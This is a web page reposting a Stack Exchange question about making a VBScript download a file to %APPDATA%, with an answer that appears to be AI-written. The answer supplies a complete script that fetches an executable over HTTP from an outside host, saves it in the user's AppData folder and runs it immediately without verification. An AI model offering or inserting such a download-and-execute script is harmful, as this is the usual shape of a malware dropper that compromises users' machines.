You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何让VBS脚本将文件下载至%APPDATA%目录?

Modify VBS Script to Download to %APPDATA%

Got it, let's adjust your script so it saves the file directly to the %APPDATA% directory. The key here is resolving the %APPDATA% environment variable to its actual file system path, then combining it with your filename to get a full, valid save path.

Here's the updated script:

Dim http_obj, stream_obj, shell_obj
Dim appdataPath, fullSavePath

Set http_obj = CreateObject("Microsoft.XMLHTTP")
Set stream_obj = CreateObject("ADODB.Stream")
Set shell_obj = CreateObject("WScript.Shell")

URL = "http://www.mikemurr.com/example.exe"
FILENAME = "example.exe"

' Resolve %APPDATA% to its actual system path
appdataPath = shell_obj.ExpandEnvironmentStrings("%APPDATA%")
' Combine path and filename with proper directory separator
fullSavePath = appdataPath & "\" & FILENAME

http_obj.open "GET", URL, False
http_obj.send

stream_obj.Type = 1
stream_obj.Open
stream_obj.Write http_obj.responseBody
' Save the file to the resolved APPDATA path
stream_obj.SaveToFile fullSavePath, 2

' Run the executable directly from its APPDATA location
shell_obj.Run fullSavePath

' Clean up objects (good practice to free resources)
Set http_obj = Nothing
Set stream_obj = Nothing
Set shell_obj = Nothing

Key Changes Explained:

  • Resolving %APPDATA%: The ExpandEnvironmentStrings method converts the environment variable into the actual folder path (e.g., C:\Users\YourUsername\AppData\Roaming on Windows), so the script knows exactly where to save the file.
  • Full Path Construction: We add a backslash (\) between the %APPDATA% path and filename to ensure the path is properly formatted—this prevents accidental saving to the wrong directory if the script's current working directory isn't what you expect.
  • Updated Save/Run Logic: Using the fullSavePath variable for both SaveToFile and Run ensures the file is saved directly to %APPDATA% and executed from that location.

内容的提问来源于stack exchange,提问作者DissociatedFun

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.29 07:13:06